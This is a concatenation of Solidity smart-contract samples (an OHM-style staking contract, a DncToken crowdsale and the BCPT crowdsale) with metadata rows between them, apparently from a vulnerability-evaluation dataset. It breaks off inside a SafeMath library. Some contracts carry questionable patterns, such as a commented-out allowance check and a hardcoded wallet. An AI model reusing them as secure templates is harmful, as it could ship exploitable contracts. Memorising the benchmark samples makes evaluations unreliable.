constructor(address _OHM,
address _sOHM,
uint256 _epochLength,
uint256 _firstEpochNumber,
uint256 _firstEpochBlock) {
require(_OHM != address(0));
OHM = _OHM;
require(_sOHM != address(0));
sOHM = _sOHM;
epoch = Epoch({length: _epochLength, number: _firstEpochNumber, endBlock: _firstEpochBlock, distribute: 0});
}
struct Claim {
uint256 deposit;
uint256 gons;
uint256 expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint256 _amount, address _recipient) external returns (bool) {
rebase();
IERC20(OHM).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[_recipient];
require(!info.lock, "Deposits for account are locked");
warmupInfo[_recipient] = Claim({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsOHM(sOHM).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sOHM).safeTransfer(warmupContract, _amount);
return true;
}
function claim(address _recipient) public {
Claim memory info = warmupInfo[_recipient];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[_recipient];
IWarmup(warmupContract).retrieve(_recipient, IsOHM(sOHM).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[msg.sender];
delete warmupInfo[msg.sender];
IWarmup(warmupContract).retrieve(address(this), IsOHM(sOHM).balanceForGons(info.gons));
IERC20(OHM).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[msg.sender].lock = !warmupInfo[msg.sender].lock;
}
function unstake(uint256 _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sOHM).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(OHM).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint256) {
return IsOHM(sOHM).index();
}
function rebase() public {
if (epoch.endBlock <= block.number) {
IsOHM(sOHM).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint256 balance = contractBalance();
uint256 staked = IsOHM(sOHM).circulatingSupply();
if (balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint256) {
return IERC20(OHM).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint256 _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sOHM).safeTransfer(locker, _amount);
}
function returnLockBonus(uint256 _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sOHM).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS {
DISTRIBUTOR,
WARMUP,
LOCKER
}
function setContract(CONTRACTS _contract, address _address) external onlyManager {
if (_contract == CONTRACTS.DISTRIBUTOR) {
// 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) {
// 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) {
// 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint256 _warmupPeriod) external onlyManager {
warmupPeriod = _warmupPeriod;
}
}
| 119,692 | 10,655 |
5ba0e8e7a5dedf7ae64fe33a445084d987a0869765986537aa441f7aead6d4fd
| 22,212 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0x7323cb1288cde81500e744234a487c642823aa24.sol
| 3,855 | 13,783 |
pragma solidity ^0.4.24;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private pausers;
constructor() internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
pausers.remove(account);
emit PauserRemoved(account);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string) {
return _name;
}
function symbol() public view returns(string) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner,
address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
value = value.mul(1 ether);
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
value = value.mul(1 ether);
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from,
address to,
uint256 value)
public
returns (bool)
{
value = value.mul(1 ether);
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(address spender,
uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
addedValue = addedValue.mul(1 ether);
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender,
uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
subtractedValue = subtractedValue.mul(1 ether);
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
function paused() public view returns(bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to,
uint256 value)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(address from,
address to,
uint256 value)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(from, to, value);
}
function approve(address spender,
uint256 value)
public
whenNotPaused
returns (bool)
{
return super.approve(spender, value);
}
function increaseAllowance(address spender,
uint addedValue)
public
whenNotPaused
returns (bool success)
{
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender,
uint subtractedValue)
public
whenNotPaused
returns (bool success)
{
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract ERC20Mintable is ERC20, MinterRole, ERC20Pausable {
function mint(address to, uint256 value) internal whenNotPaused returns (bool)
{
_mint(to, value);
return true;
}
function MinterFunc(address to, uint256 value) internal onlyMinter whenNotPaused returns (bool)
{
_mint(to, value);
return true;
}
}
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor(uint256 cap)
public
{
require(cap > 0);
_cap = cap;
}
function cap() public view returns(uint256) {
return _cap;
}
function Mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super.mint(account, value);
}
function MinterFunction(address account, uint256 value) public {
value = value.mul(1 ether);
require(totalSupply().add(value) <= _cap);
super.MinterFunc(account, value);
}
}
contract ERC20Burnable is ERC20, ERC20Pausable {
function burn(uint256 value) public whenNotPaused {
value = value.mul(1 ether);
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public whenNotPaused {
value = value.mul(1 ether);
_burnFrom(from, value);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() private view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor() internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract DncToken is ERC20, ERC20Detailed , ERC20Pausable, ERC20Capped , ERC20Burnable, Ownable , ReentrancyGuard {
constructor(string _name, string _symbol, uint8 _decimals, uint256 _cap)
ERC20Detailed(_name, _symbol, _decimals)
ERC20Capped (_cap * 1 ether)
public {
}
uint256 public _rate=100;
uint256 private _weiRaised;
address private _wallet = 0x88951e18fEd6D792d619B4A472d5C0D2E5B9b5F0;
event TokensPurchased(address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount);
function () external payable {
buyTokens(msg.sender);
}
function ChangeRate(uint256 newRate) public onlyOwner whenNotPaused{
_rate = newRate;
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_preValidatePurchase(beneficiary, weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender,
beneficiary,
weiAmount,
tokens);
//_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
// _postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase (address beneficiary,
uint256 weiAmount)
internal
pure
{
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _processPurchase(address beneficiary,
uint256 tokenAmount)
internal
{
_deliverTokens(beneficiary, tokenAmount);
}
function _deliverTokens (address beneficiary,
uint256 tokenAmount)
internal
{
Mint(beneficiary, tokenAmount);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
| 222,648 | 10,656 |
523f1f82f348b9665014db73c3e36a1bc14ae0796bcdd7c2c7f07823797ffc03
| 24,574 |
.sol
|
Solidity
| false |
367422064
|
YuGer26/ERC20-List-All
|
4f93234ff8de0cddf2ca81994275768250f2b1b7
|
erc20/BLOCKMASONCREDITPROTOCOLTOKEN(BCPT)_0x1c4481750daa5ff521a2a7490d9981ed46465dbd.sol
| 4,614 | 17,164 |
pragma solidity 0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract LimitedTransferToken is ERC20 {
modifier canTransfer(address _sender, uint256 _value) {
require(_value <= transferableTokens(_sender, uint64(now)));
_;
}
function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transferableTokens(address holder, uint64 time) public constant returns (uint256) {
return balanceOf(holder);
}
}
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) {
require(_cap > 0);
cap = _cap;
}
// overriding Crowdsale#validPurchase to add extra cap logic
// @return true if investors can buy at the moment
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
// overriding Crowdsale#hasEnded to add cap logic
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract Tiers {
using SafeMath for uint256;
uint256 public cpCap = 45000 ether;
uint256 public presaleWeiSold = 18000 ether;
uint256[6] public tierAmountCaps = [ presaleWeiSold
, presaleWeiSold + 5000 ether
, presaleWeiSold + 10000 ether
, presaleWeiSold + 15000 ether
, presaleWeiSold + 21000 ether
, cpCap
];
uint256[6] public tierRates = [ 2000 // tierRates[0] should never be used, but it is accurate
, 1500 // Tokens are purchased at a rate of 105-150
, 1350 // per deciEth, depending on purchase tier.
, 1250 // tierRates[i] is the purchase rate of tier_i
, 1150
, 1050
];
function tierIndexByWeiAmount(uint256 weiLevel) public constant returns (uint256) {
require(weiLevel <= cpCap);
for (uint256 i = 0; i < tierAmountCaps.length; i++) {
if (weiLevel <= tierAmountCaps[i]) {
return i;
}
}
}
function calculateTokens(uint256 _amountWei, uint256 _weiRaised) public constant returns (uint256) {
uint256 currentTier = tierIndexByWeiAmount(_weiRaised);
uint256 startWeiLevel = _weiRaised;
uint256 endWeiLevel = _amountWei.add(_weiRaised);
uint256 tokens = 0;
for (uint256 i = currentTier; i < tierAmountCaps.length; i++) {
if (endWeiLevel <= tierAmountCaps[i]) {
tokens = tokens.add((endWeiLevel.sub(startWeiLevel)).mul(tierRates[i]));
break;
} else {
tokens = tokens.add((tierAmountCaps[i].sub(startWeiLevel)).mul(tierRates[i]));
startWeiLevel = tierAmountCaps[i];
}
}
return tokens;
}
}
contract CPToken is MintableToken, LimitedTransferToken {
string public name = "BLOCKMASON CREDIT PROTOCOL TOKEN";
string public symbol = "BCPT";
uint256 public decimals = 18;
bool public saleOver = false;
function CPToken() {
}
function endSale() public onlyOwner {
require (!saleOver);
saleOver = true;
}
function transferableTokens(address holder, uint64 time) public constant returns (uint256) {
if (saleOver)
return balanceOf(holder);
else
return 0;
}
}
contract DPIcoWhitelist {
address public admin;
bool public isOn;
mapping (address => bool) public whitelist;
address[] public users;
modifier signUpOpen() {
if (!isOn) revert();
_;
}
modifier isAdmin() {
if (msg.sender != admin) revert();
_;
}
modifier newAddr() {
if (whitelist[msg.sender]) revert();
_;
}
function DPIcoWhitelist() {
admin = msg.sender;
isOn = false;
}
function () {
signUp();
}
// Public functions
function setSignUpOnOff(bool state) public isAdmin {
isOn = state;
}
function signUp() public signUpOpen newAddr {
whitelist[msg.sender] = true;
users.push(msg.sender);
}
function getAdmin() public constant returns (address) {
return admin;
}
function signUpOn() public constant returns (bool) {
return isOn;
}
function isSignedUp(address addr) public constant returns (bool) {
return whitelist[addr];
}
function getUsers() public constant returns (address[]) {
return users;
}
function numUsers() public constant returns (uint) {
return users.length;
}
function userAtIndex(uint idx) public constant returns (address) {
return users[idx];
}
}
contract CPCrowdsale is CappedCrowdsale, FinalizableCrowdsale, Pausable {
using SafeMath for uint256;
DPIcoWhitelist private aw;
Tiers private at;
mapping (address => bool) private hasPurchased; // has whitelist address purchased already
uint256 public whitelistEndTime;
uint256 public maxWhitelistPurchaseWei;
uint256 public openWhitelistEndTime;
function CPCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _whitelistEndTime, uint256 _openWhitelistEndTime, address _wallet, address _tiersContract, address _whitelistContract, address _airdropWallet, address _advisorWallet, address _stakingWallet, address _privateSaleWallet)
CappedCrowdsale(45000 ether) // crowdsale capped at 45000 ether
FinalizableCrowdsale()
Crowdsale(_startTime, _endTime, 1, _wallet) // rate = 1 is a dummy value; we use tiers instead
{
token.mint(_wallet, 23226934 * (10 ** 18));
token.mint(_airdropWallet, 5807933 * (10 ** 18));
token.mint(_advisorWallet, 5807933 * (10 ** 18));
token.mint(_stakingWallet, 11615867 * (10 ** 18));
token.mint(_privateSaleWallet, 36000000 * (10 ** 18));
aw = DPIcoWhitelist(_whitelistContract);
require (aw.numUsers() > 0);
at = Tiers(_tiersContract);
whitelistEndTime = _whitelistEndTime;
openWhitelistEndTime = _openWhitelistEndTime;
weiRaised = 18000 ether; // 18K ether was sold during presale
maxWhitelistPurchaseWei = (cap.sub(weiRaised)).div(aw.numUsers());
}
// Public functions
function buyTokens(address beneficiary) public payable whenNotPaused {
uint256 weiAmount = msg.value;
require(beneficiary != 0x0);
require(validPurchase());
require(!isWhitelistPeriod()
|| whitelistValidPurchase(msg.sender, beneficiary, weiAmount));
require(!isOpenWhitelistPeriod()
|| openWhitelistValidPurchase(msg.sender, beneficiary));
hasPurchased[beneficiary] = true;
uint256 tokens = at.calculateTokens(weiAmount, weiRaised);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// Internal functions
function createTokenContract() internal returns (MintableToken) {
return new CPToken();
}
function finalization() internal {
uint256 remainingWei = cap.sub(weiRaised);
if (remainingWei > 0) {
uint256 remainingDevTokens = at.calculateTokens(remainingWei, weiRaised);
token.mint(wallet, remainingDevTokens);
}
CPToken(token).endSale();
token.finishMinting();
super.finalization();
}
// Private functions
// can't override `validPurchase` because need to pass additional values
function whitelistValidPurchase(address buyer, address beneficiary, uint256 amountWei) private constant returns (bool) {
bool beneficiaryPurchasedPreviously = hasPurchased[beneficiary];
bool belowMaxWhitelistPurchase = amountWei <= maxWhitelistPurchaseWei;
return (openWhitelistValidPurchase(buyer, beneficiary)
&& !beneficiaryPurchasedPreviously
&& belowMaxWhitelistPurchase);
}
// @return true if `now` is within the bounds of the whitelist period
function isWhitelistPeriod() private constant returns (bool) {
return (now <= whitelistEndTime && now >= startTime);
}
// can't override `validPurchase` because need to pass additional values
function openWhitelistValidPurchase(address buyer, address beneficiary) private constant returns (bool) {
bool buyerIsBeneficiary = buyer == beneficiary;
bool signedup = aw.isSignedUp(beneficiary);
return (buyerIsBeneficiary && signedup);
}
// @return true if `now` is within the bounds of the open whitelist period
function isOpenWhitelistPeriod() private constant returns (bool) {
bool cappedWhitelistOver = now > whitelistEndTime;
bool openWhitelistPeriod = now <= openWhitelistEndTime;
return cappedWhitelistOver && openWhitelistPeriod;
}
}
| 228,515 | 10,657 |
968492dc213a4eeba5af639061e2fdb16aecf4f22395af87b65ea48becba2029
| 27,989 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/bb/bBB48CF68FB87d23967484e10bC34194587950A8_Sale.sol
| 3,218 | 12,697 |
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
